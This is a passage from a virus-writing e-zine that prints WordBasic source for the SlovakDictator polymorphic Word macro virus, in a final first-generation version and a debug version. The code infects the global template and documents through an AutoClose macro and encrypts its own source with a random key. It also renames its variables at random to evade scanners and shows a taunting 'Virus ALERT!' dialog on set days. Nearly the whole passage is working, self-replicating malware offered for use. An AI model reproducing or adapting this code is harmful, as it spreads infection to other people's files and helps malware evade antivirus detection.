@@@@"SourceLinesTable$( 168 ) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1"SourceLinesTable$( 169 ) = "GenName$ = MyVarA4$"SourceLinesTable$( 170 ) = "End Function"SourceLinesTable$( 171 ) = ""SourceLinesTable$( 172 ) = "Sub MutateAllNames"SourceLinesTable$( 173 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 174 ) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord =

Page 270: EZine - Asterix #2

SLOW_A.MAC

FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordFo rms = FixedConstant_0"SourceLinesTable$( 175 ) = "Next MyVarI1"SourceLinesTable$( 176 ) = "End Sub"SourceLinesTable$( 177 ) = ""SourceLinesTable$( 178 ) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne'//// Pozor na poradie premennych pri replacovani ! !!PolymorphNamesTable$( 0) = "CryptConstant"PolymorphNamesTable$( 1) = "SourceLinesTable"PolymorphNamesTable$( 2) = "PolymorphNamesTable"PolymorphNamesTable$( 3) = "FixedConstant_0"PolymorphNamesTable$( 4) = "FixedConstant_10"PolymorphNamesTable$( 5) = "FixedConstant_22"PolymorphNamesTable$( 6) = "FixedConstant_7"PolymorphNamesTable$( 7) = "FixedConstant_1"PolymorphNamesTable$( 8) = "FixedConstant_20"PolymorphNamesTable$( 9) = "FixedConstant_2"PolymorphNamesTable$( 10) = "FixedConstant_65"PolymorphNamesTable$( 11) = "Uvodzovky"PolymorphNamesTable$( 12) = "Zavinac"PolymorphNamesTable$( 13) = "HiddenIntroLen"PolymorphNamesTable$( 14) = "HiddenStart"PolymorphNamesTable$( 15) = "HiddenLines"PolymorphNamesTable$( 16) = "PolyNames"PolymorphNamesTable$( 17) = "MyVarI1"PolymorphNamesTable$( 18) = "MyVarJ2"PolymorphNamesTable$( 19) = "MyVarK3"PolymorphNamesTable$( 20) = "MyVarA4"PolymorphNamesTable$( 21) = "WordVersion"PolymorphNamesTable$( 22) = "WordVer"PolymorphNamesTable$( 23) = "ErrorHandler"PolymorphNamesTable$( 24) = "DecryptLines"PolymorphNamesTable$( 25) = "SaveWindowName"PolymorphNamesTable$( 26) = "FlushAllTables"PolymorphNamesTable$( 27) = "MutateAllNames"PolymorphNamesTable$( 28) = "TempMacro"PolymorphNamesTable$( 29) = "GenName"PolymorphNamesTable$( 30) = "InitializePolymorphTables"'//// iniciacna castScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$() : MsgBox "Win=" + SaveWindowName$ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .EditEditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Page 271: EZine - Asterix #2

SLOW_A.MAC

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete'//// zaverecna castErrorHandler:DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Sub FlushAllTablesFor MyVarI1 = FixedConstant_0 To HiddenLines

Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1

End Sub

Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub=================================================== ===========================Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN 1FINAL] "U"Description: Finalna verzia WordMacro.SlovakDictatorbez DEBUG infa - 1. generacia--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared Uvodzovky

Page 272: EZine - Asterix #2

SLOW_A.MAC

Dim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStartDim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31)Dim Shared PolyNames

Sub MAINOn Error Goto ErrorHandlerDisableInput 1FixedConstant_0 = 0FixedConstant_1 = 1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 38HiddenStart = 120HiddenLines = 179PolyNames = 31WordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0'//// SourceLinesTable - zakryptovane makroSourceLinesTable$( 0) = "Dim Shared FixedConstant_0"SourceLinesTable$( 1) = "Dim Shared FixedConstant_1"SourceLinesTable$( 2) = "Dim Shared FixedConstant_2"SourceLinesTable$( 3) = "Dim Shared FixedConstant_7"SourceLinesTable$( 4) = "Dim Shared FixedConstant_10"SourceLinesTable$( 5) = "Dim Shared FixedConstant_20"SourceLinesTable$( 6) = "Dim Shared FixedConstant_22"SourceLinesTable$( 7) = "Dim Shared FixedConstant_65"SourceLinesTable$( 8) = "Dim Shared Uvodzovky"SourceLinesTable$( 9) = "Dim Shared Zavinac"SourceLinesTable$( 10) = "Dim Shared CryptConstant"SourceLinesTable$( 11) = "Dim Shared SourceLinesTable$(200)"SourceLinesTable$( 12) = "Dim Shared HiddenIntroLen"SourceLinesTable$( 13) = "Dim Shared HiddenStart"SourceLinesTable$( 14) = "Dim Shared HiddenLines"SourceLinesTable$( 15) = "Dim Shared PolymorphNamesTable$(31)"SourceLinesTable$( 16) = "Dim Shared PolyNames"SourceLinesTable$( 17) = ""SourceLinesTable$( 18) = "Sub MAIN"SourceLinesTable$( 19) = "On Error Goto ErrorHandler"SourceLinesTable$( 20) = "DisableInput 1"SourceLinesTable$( 21) = "FixedConstant_0 = 0"SourceLinesTable$( 22) = "FixedConstant_1 = 1"SourceLinesTable$( 23) = "FixedConstant_2 = 2"SourceLinesTable$( 24) = "FixedConstant_7 = 7"SourceLinesTable$( 25) = "FixedConstant_10 = 10"SourceLinesTable$( 26) = "FixedConstant_20 = 20"SourceLinesTable$( 27) = "FixedConstant_22 = 22"SourceLinesTable$( 28) = "FixedConstant_65 = 65"SourceLinesTable$( 29) = "Uvodzovky = 34"

Page 273: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 30) = "Zavinac = 64"SourceLinesTable$( 31) = "HiddenIntroLen = 38"SourceLinesTable$( 32) = "HiddenStart = 120"SourceLinesTable$( 33) = "HiddenLines = 179"SourceLinesTable$( 34) = "PolyNames = 31"SourceLinesTable$( 35) = "WordVersion$ = AppInfo$(FixedConstant_2)"SourceLinesTable$( 36) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1) )"SourceLinesTable$( 37) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandl er"SourceLinesTable$( 38) = "Call InitializePolymorphTables"SourceLinesTable$( 39) = "'//// begin of hidden part ////"SourceLinesTable$( 40) = "ShowBox"SourceLinesTable$( 41) = "CurFile$ = FileName$()"SourceLinesTable$( 42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"SourceLinesTable$( 43) = ""SourceLinesTable$( 44) = "If CheckInstalled(0) = 0 Then"SourceLinesTable$( 45) = "Infect(1)"SourceLinesTable$( 46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"SourceLinesTable$( 47) = "Goto ErrorHandler"SourceLinesTable$( 48) = "End If"SourceLinesTable$( 49) = ""SourceLinesTable$( 50) = "Dim dlg As FileSaveAs"SourceLinesTable$( 51) = "GetCurValues dlg"SourceLinesTable$( 52) = "If dlg.Format = 0 Then"SourceLinesTable$( 53) = "dlg.Format = 1"SourceLinesTable$( 54) = "FileSaveAs dlg"SourceLinesTable$( 55) = "End If"SourceLinesTable$( 56) = ""SourceLinesTable$( 57) = "If CheckInstalled(1) = 0 Then"SourceLinesTable$( 58) = "Infect(3)"SourceLinesTable$( 59) = "FileSave"SourceLinesTable$( 60) = "End If"SourceLinesTable$( 61) = ""SourceLinesTable$( 62) = "ErrorHandler:"SourceLinesTable$( 63) = "End Sub"SourceLinesTable$( 64) = ""SourceLinesTable$( 65) = "Sub ShowBox"SourceLinesTable$( 66) = "ParlamentnyPuc = Day(Now())"SourceLinesTable$( 67) = "If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then"SourceLinesTable$( 68) = "Beep"SourceLinesTable$( 69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@ "SourceLinesTable$( 70) = "Text 29, 8, 349, 13, @@You're infected by WordMacr o.SlovakDictator virus@@, .Text1"SourceLinesTable$( 71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer' s Macro Engine) ver. 1.00@@, .Text2"SourceLinesTable$( 72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text 3"SourceLinesTable$( 73) = "Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia@@, .Text4"SourceLinesTable$( 74) = "Text 34, 98, 343, 13, @@Dis is the first world tru e polymorphic macro virus !@@, .Text5"SourceLinesTable$( 75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"SourceLinesTable$( 76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxe r V.M.@@, .Text6"SourceLinesTable$( 77) = "End Dialog"SourceLinesTable$( 78) = "Dim dlg As UserDialog"SourceLinesTable$( 79) = "Dialog(dlg)"SourceLinesTable$( 80) = "End If"SourceLinesTable$( 81) = "End Sub"SourceLinesTable$( 82) = ""SourceLinesTable$( 83) = "Function CheckInstalled(j)"SourceLinesTable$( 84) = "On Error Resume Next"SourceLinesTable$( 85) = "CheckInstalled = 0"SourceLinesTable$( 86) = "For i = 1 To CountMacros(j)"SourceLinesTable$( 87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInst alled = 1"

Page 274: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 88) = "Next i"SourceLinesTable$( 89) = "End Function"SourceLinesTable$( 90) = ""SourceLinesTable$( 91) = "Sub Infect(WhatToInfect)"SourceLinesTable$( 92) = "SaveWindowName$ = WindowName$()"SourceLinesTable$( 93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToIn fect, .Edit"SourceLinesTable$( 94) = "EditClear - 20"SourceLinesTable$( 95) = ""SourceLinesTable$( 96) = "'////"SourceLinesTable$( 97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"SourceLinesTable$( 98) = "'//// viditelna cast - nemenit !"SourceLinesTable$( 99) = "'////"SourceLinesTable$( 100 ) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTa ble$(i) : InsertPara : Next i"SourceLinesTable$( 101 ) = "'////"SourceLinesTable$( 102 ) = "'//// premenna i ide od riadkov @@Sub OriginalMacr oBody@@+1"SourceLinesTable$( 103 ) = "'//// az po @@Sub InitializePolymorphTables@@-1"SourceLinesTable$( 104 ) = "'//// velmi pozorne urcit tieto konstanty !!!"SourceLinesTable$( 105 ) = "'////"SourceLinesTable$( 106 ) = "For i = HiddenStart To HiddenLines : Insert Source LinesTable$(i) : InsertPara : Next i"SourceLinesTable$( 107 ) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase = 1, .WholeWord = 0, .Pa tternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordFo rms = 0"SourceLinesTable$( 108 ) = ""SourceLinesTable$( 109 ) = "CryptConstant = - Int((4 + Rnd() * 10))"SourceLinesTable$( 110 ) = "Call DecryptLines"SourceLinesTable$( 111 ) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant )"SourceLinesTable$( 112 ) = "InsertPara"SourceLinesTable$( 113 ) = "FlushAllTables"SourceLinesTable$( 114 ) = "DocClose 1"SourceLinesTable$( 115 ) = "Activate SaveWindowName$"SourceLinesTable$( 116 ) = "End Sub"SourceLinesTable$( 117 ) = ""SourceLinesTable$( 118 ) = "Sub OriginalMacroBody"SourceLinesTable$( 119 ) = "'//// end of Hidden part ////"SourceLinesTable$( 120 ) = "ScreenUpdating FixedConstant_0"SourceLinesTable$( 121 ) = "DisableAutoMacros FixedConstant_1"SourceLinesTable$( 122 ) = "DecryptLines"SourceLinesTable$( 123 ) = ""SourceLinesTable$( 124 ) = "SaveWindowName$ = WindowName$()"SourceLinesTable$( 125 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Edit"SourceLinesTable$( 126 ) = "EditClear - FixedConstant_20"SourceLinesTable$( 127 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Ins ert SourceLinesTable$(MyVarI1) : InsertPara : Next MyVa rI1"SourceLinesTable$( 128 ) = ""SourceLinesTable$( 129 ) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction = FixedConstant_0, .Mat chCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAl lWordForms = FixedConstant_0"SourceLinesTable$( 130 ) = ""SourceLinesTable$( 131 ) = "FlushAllTables"SourceLinesTable$( 132 ) = "MutateAllNames"SourceLinesTable$( 133 ) = "DocClose FixedConstant_1"SourceLinesTable$( 134 ) = "Activate SaveWindowName$"SourceLinesTable$( 135 ) = ""SourceLinesTable$( 136 ) = "Call TempMacro"SourceLinesTable$( 137 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Delete"SourceLinesTable$( 138 ) = ""SourceLinesTable$( 139 ) = "ErrorHandler:"SourceLinesTable$( 140 ) = "DisableAutoMacros FixedConstant_0"

Page 275: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 141 ) = "ScreenUpdating FixedConstant_1"SourceLinesTable$( 142 ) = "DisableInput FixedConstant_0"SourceLinesTable$( 143 ) = "End Sub"SourceLinesTable$( 144 ) = ""SourceLinesTable$( 145 ) = "Sub DecryptLines"SourceLinesTable$( 146 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 147 ) = "MyVarA4$ = @@@@"SourceLinesTable$( 148 ) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"SourceLinesTable$( 149 ) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"SourceLinesTable$( 150 ) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTab le$(MyVarI1), MyVarK3, FixedConstant_1)) - CryptConstant)"SourceLinesTable$( 151 ) = "Next MyVarK3"SourceLinesTable$( 152 ) = "SourceLinesTable$(MyVarI1) = MyVarA4$"SourceLinesTable$( 153 ) = "Next MyVarI1"SourceLinesTable$( 154 ) = "End Sub"SourceLinesTable$( 155 ) = ""SourceLinesTable$( 156 ) = "Sub FlushAllTables"SourceLinesTable$( 157 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 158 ) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@ )=@@ + Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$ (Uvodzovky)"SourceLinesTable$( 159 ) = "InsertPara"SourceLinesTable$( 160 ) = "Next MyVarI1"SourceLinesTable$( 161 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 162 ) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ + Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + C hr$(Uvodzovky)"SourceLinesTable$( 163 ) = "InsertPara"SourceLinesTable$( 164 ) = "Next MyVarI1"SourceLinesTable$( 165 ) = "End Sub"SourceLinesTable$( 166 ) = ""SourceLinesTable$( 167 ) = "Function GenName$"SourceLinesTable$( 168 ) = "MyVarA4$ = @@@@"SourceLinesTable$( 169 ) = "For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ = MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1"SourceLinesTable$( 170 ) = "GenName$ = MyVarA4$"SourceLinesTable$( 171 ) = "End Function"SourceLinesTable$( 172 ) = ""SourceLinesTable$( 173 ) = "Sub MutateAllNames"SourceLinesTable$( 174 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 175 ) = "EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction = FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedC" + "onstant_0, .Wrap = FixedConstant_1, .FindAllWordFo rms = FixedConstant_0"SourceLinesTable$( 176 ) = "Next MyVarI1"SourceLinesTable$( 177 ) = "End Sub"SourceLinesTable$( 178 ) = ""SourceLinesTable$( 179 ) = "Sub InitializePolymorphTables"

'//// PolymorphNamesTable - polymorfne premenne'//// Pozor na poradie premennych pri replacovani ! !!PolymorphNamesTable$( 0) = "CryptConstant"PolymorphNamesTable$( 1) = "SourceLinesTable"PolymorphNamesTable$( 2) = "PolymorphNamesTable"PolymorphNamesTable$( 3) = "FixedConstant_0"PolymorphNamesTable$( 4) = "FixedConstant_10"PolymorphNamesTable$( 5) = "FixedConstant_22"PolymorphNamesTable$( 6) = "FixedConstant_7"PolymorphNamesTable$( 7) = "FixedConstant_1"PolymorphNamesTable$( 8) = "FixedConstant_20"PolymorphNamesTable$( 9) = "FixedConstant_2"PolymorphNamesTable$( 10) = "FixedConstant_65"

Page 276: EZine - Asterix #2

SLOW_A.MAC

PolymorphNamesTable$( 11) = "Uvodzovky"PolymorphNamesTable$( 12) = "Zavinac"PolymorphNamesTable$( 13) = "HiddenIntroLen"PolymorphNamesTable$( 14) = "HiddenStart"PolymorphNamesTable$( 15) = "HiddenLines"PolymorphNamesTable$( 16) = "PolyNames"PolymorphNamesTable$( 17) = "MyVarI1"PolymorphNamesTable$( 18) = "MyVarJ2"PolymorphNamesTable$( 19) = "MyVarK3"PolymorphNamesTable$( 20) = "MyVarA4"PolymorphNamesTable$( 21) = "WordVersion"PolymorphNamesTable$( 22) = "WordVer"PolymorphNamesTable$( 23) = "ErrorHandler"PolymorphNamesTable$( 24) = "DecryptLines"PolymorphNamesTable$( 25) = "SaveWindowName"PolymorphNamesTable$( 26) = "FlushAllTables"PolymorphNamesTable$( 27) = "MutateAllNames"PolymorphNamesTable$( 28) = "TempMacro"PolymorphNamesTable$( 29) = "GenName"PolymorphNamesTable$( 30) = "InitializePolymorphTables"'//// iniciacna castScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$()ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .EditEditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete'//// zaverecna castErrorHandler:DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1DisableInput FixedConstant_0End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Page 277: EZine - Asterix #2

SLOW_A.MAC

Sub FlushAllTablesFor MyVarI1 = FixedConstant_0 To HiddenLines

Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1

End Sub

Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub=================================================== ===========================Macro name: SlovakDictatorRESOURCEdebug [SLOVAKDICTATO RRESOURCEDEBUG]"U"--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared UvodzovkyDim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStartDim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31)Dim Shared PolyNames

Sub MAINFixedConstant_0 = 0FixedConstant_1 = 1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 37HiddenStart = 120

Page 278: EZine - Asterix #2

SLOW_A.MAC

HiddenLines = 178PolyNames = 31On Error Goto ErrorHandlerWordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandlerCall InitializePolymorphTables'//// begin of hidden part ////DisableInput 1ShowBoxCurFile$ = FileName$() : MsgBox "File = " + CurFile$If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled( 0) = 0 ThenMsgBox "2Normal" : Infect( 1)ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0Goto ErrorHandler

End If

Dim dlg As FileSaveAsGetCurValues dlgIf dlg.Format = 0 Then

dlg.Format = 1FileSaveAs dlg

End If

If CheckInstalled( 1) = 0 ThenMsgBox "2File" : Infect( 3)FileSave

End If

ErrorHandler:End Sub

Sub ShowBoxParlamentnyPuc = Day(Now())If ParlamentnyPuc <> 4 Or ParlamentnyPuc <> 11 ThenBeepBegin Dialog UserDialog 380 , 224 , "Virus ALERT!"

Text 29, 8, 349 , 13, "You're infected by WordMacro.SlovakDictator virus" , .Text1Text 15, 28, 360 , 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.0 0" , .Text2Text 145 , 51, 123 , 13, "Dis is Level 421" , .Text3Text 35, 73, 342 , 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia" , .Text4Text 34, 98, 343 , 13, "Dis is the first world true polymorphic macro viru s !" , .Text5PushButton 120 , 188 , 147 , 21, "Accept / Suhlas" , .Push1Text 100 , 165 , 228 , 13, "Big fuck to the big boxer V.M." , .Text6

End DialogDim dlg As UserDialogDialog(dlg)End IfEnd Sub

Function CheckInstalled(j)On Error Resume NextCheckInstalled = 0For i = 1 To CountMacros(j)

If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1Next iEnd Function

Sub Infect(WhatToInfect)SaveWindowName$ = WindowName$()

Page 279: EZine - Asterix #2

SLOW_A.MAC

ToolsMacro .Name = "AutoClose" , .Show = WhatToInfect, .EditEditClear - 20

'////'//// Vlozenie prvych HiddenIntroLen riadkov kodu m akra'//// viditelna cast - nemenit !'////For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPar a : Next i'////'//// premenna i ide od riadkov "Sub OriginalMacroB ody"+1'//// az po "Sub InitializePolymorphTables"-1'//// velmi pozorne urcit tieto konstanty !!!'////

For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next iEditReplace .Find = Chr$( 64) + Chr$( 64), .Replace = Chr$( 34), .Direction = 0, .MatchCase

= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,.FindAllWordForms = 0

CryptConstant = - Int(( 4 + Rnd() * 10))Call DecryptLinesInsert "CryptConstant = " + Str$(- CryptConstant)InsertParaFlushAllTablesDocClose 1Activate SaveWindowName$

End Sub

Sub OriginalMacroBody'//// end of Hidden part ////ScreenUpdating FixedConstant_0DisableAutoMacros FixedConstant_1DecryptLines

SaveWindowName$ = WindowName$() : MsgBox "Win=" + SaveWindowName$ToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .EditEditClear - FixedConstant_20For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : Insert Para

: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Repla ce = Chr$(Uvodzovky), .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTablesMutateAllNamesDocClose FixedConstant_1Activate SaveWindowName$

Call TempMacroToolsMacro .Name = "TempMacro" , .Show = FixedConstant_1, .Delete

ErrorHandler:DisableAutoMacros FixedConstant_0ScreenUpdating FixedConstant_1End Sub

Sub DecryptLinesFor MyVarI1 = FixedConstant_0 To HiddenLines

MyVarA4$ = ""MyVarJ2 = Len(SourceLinesTable$(MyVarI1))For MyVarK3 = FixedConstant_1 To MyVarJ2

Page 280: EZine - Asterix #2

SLOW_A.MAC

MyVarA4$ = MyVarA4$ + Chr$(Asc( Mid$ (SourceLinesTable$(MyVarI1), MyVarK3,FixedConstant_1)) - CryptConstant)

Next MyVarK3SourceLinesTable$(MyVarI1) = MyVarA4$

Next MyVarI1End Sub

Sub FlushAllTablesFor MyVarI1 = FixedConstant_0 To HiddenLines

Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)

InsertParaNext MyVarI1For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)

